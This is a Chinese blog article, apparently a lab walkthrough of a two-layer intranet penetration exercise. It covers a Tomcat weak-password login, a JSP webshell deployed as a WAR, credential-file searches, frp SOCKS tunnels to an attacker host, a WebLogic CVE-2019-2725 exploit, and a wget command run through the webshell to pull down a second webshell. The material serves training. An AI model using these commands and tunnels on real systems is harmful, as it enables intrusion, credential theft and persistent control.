1、环境介绍
实验环境目的通过对外网WEB网站功能的分析测试,寻找到从管理后台弱口令到利用管理后台应用部署功能上传恶意木马,从而获得外网WEB服务器权限的攻击路径,然后通过对WEB服务器的信息收集,寻找到进入内网的途径,从而对内部网络中的主机进行测试,利用内网主机中的远程命令执行漏洞获得内网主机权限,并寻找到进入其他内部网段的路径,通过搭建多层socks代理通道,实现从外网直接访问多层内网中的主机,并结合收集到的账号密码信息,对目标多层内网中的主机进行攻击测试,并拿下其普通用户权限,利用其普通权限寻找到获得root权限的方法,成功得到主机最高权限,并最终,通过留下的SSH服务后门实现对目标服务器的持久化控制。
2、内容
根据实验环境对IP:10.1.1.121进行端口扫描,发现开启一下端口。
在浏览器访问8080端口,发现tomcat默认页面,且版本是8.0.43。
接下来我们对此URL进行目录扫描,除了管理页面也没发现啥敏感信息。
访问manage、host-manager都需要经过认证才可以访问到管理页面。
到这里应该很明确知道该怎么去做,就是直接对其进行爆破,使用BP抓包进行爆破。当然对于很弱的口令直接手解。
使用字典爆破,没想到爆破没有,随便输入tomcattomcat成功登录。
然后成功进入后台。
打开manager appz找到项目部署上传war包的功能。
查看桌面上的jsp木马文件。
然后将jsp木马文件编译为war包。
编译完成后进行上传
war包部署后会在Tomcat的WEB根目录创建解压生成一个ant文件夹,恶意文件就在ant文件夹下边,上传后访问:
http://10.1.1.121:8080/ant/ant.jsp
使用蚁剑进行连接。
成功获取到flag
flag{02910e0313e8d265022e6e0e7d3bcb59}
获取webshell后,通过蚁剑的虚拟终端进行服务器信息收集。查看ip地址以及服务器运行的服务等信息。再查找用户信息passwd shadow文件。
查找服务器中的敏感信息
find / -name *pass* -type f
find / -name *admin* -type f
获取到敏感信息后,将信息进行整理后,对内部存活主机进行探测,使用ladon64工具上传至tomcat服务器对172.22.0.0/24网段进行扫描。
./ladon64 172.22.0.0/24 icmpscan
扫描到内网存活主机,我们对20进行内网穿透,通过蚁剑上传frp内网穿透工具。
上传成功后修改frpc.ini
[common]
server_addr = 10.1.1.119 # frps服务端IP
server_port = 7000 # frps服务端端口
[socks5]
type = tcp # 代理数据协议类型
plugin = socks5 # 启用frp的socks5代理插件
remote_port = 5000 # socks5代理端口
在攻击机上运行frps服务
./frps -c frps.ini
在tomcat服务器上运行客户端
./frpc -c frpc.ini
运行客户端后,建立连接创建socks5代理通道,然后通过proxychains访问内网存活的主机IP。修改proxychains配置,注释socks4配置,添加socks5的配置。
leafpad /etc/proxychains.conf
修改完成后,使用proxychains访问172.22.0.10:8080,可完成访问。
使用浏览器访问,无法访问
使用浏览器代理设置frp代理配置
然后完成访问。
通过建立通道,此时可以使用攻击机访问172.22.0.20,使用nmap扫描此IP地址。发现其开放7001端口,其为weblogic服务端口。
proxychains nmap -Pn -sT -T4 172.22.0.20
在tomcat服务器使用ladon64扫描获取到weblogic版本10.3.6.0。
在攻击机器上访问weblogic服务器
我们使用工具扫描一下weblogic的漏洞。
cp fake_useragent_0.1.11.json /tmp/
proxychains python3 WeblogicScan.py -u 172.22.0.20 -p 7001
通过扫描发现目标存在WebLogic Server反序列化漏洞CVE-2019-2725。
直接使用漏洞利用脚本进行攻击,执行命令whomai。
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/ whoami
运行脚本直接上传webshell。
webshell地址为:
http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ifconfig
命令执行成功后,这里只能执行命令无法通过蚁剑进行站点管理,利用tomcat服务器下发webshell。将jsp文件内容复制到新建txt文档中。
因为都在同一个网段中,可以访问ant.txt文件。
我们使用weblogic服务器中的命令执行漏洞下载tomcat服务器中的txt文件
先查看一下weblogic目录。
然后通过命令执行下载ant.txt文件
http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget http://172.22.0.10:8080/ant/ant.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ant.jsp
然后查看网站目录下已经下载ant.jsp木马文件。
上传了以及ant.jsp无法上传全是发送信息。
决定改个名字sahx.jsp,成功获取并添加蚁剑数据。
成功获取weblogic服务器权限,接着还是如tomcat服务器一样进行内网信息收集。
然后查找到第二个flag
echo 加密字符串 | base64-d
解码得到
接着就是获取二层内网存活主机信息,跟第一层网络相同,上传frpc客户端到weblogic服务器建立通道,配置如下:
[common]
server_addr = 172.22.0.10
server_port = 7000
[socks5_2]
type = tcp
plugin = socks5
remote_port = 6666
在tomcat服务器新建frpc2.ini配置
[common]
server_addr = 10.1.1.119
server_port = 7000
[socks5_1]
type = tcp
plugin = socks5
remote_port = 5000
[socks5_to_26]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6000
以Tomcat服务器为跳板机,转发从攻击机的6000端口传输过来的流量请求到本地的6666端口,而本地的6666端口为Tomcat与Weblogic服务器之间建立的socks代理通道的入口,也就相当于,把外网的请求流量,通过Tomcat跳板机,转发到Weblogic服务器所在的二层内网。
建立二层通道需要在tomcat服务器启动frps服务端,weblogic启动客户端,这样在攻击机器上可以看到监听的两层代理,其他步骤跟第一层相似,第二层多了提权以及持久化后门。
感兴趣的可以自己去玩一下,目前是免费的,过段时间就要收费了。
https://www.hetianlab.com/ 实验网址
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):双层内网渗透虚拟仿真实战(实验)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论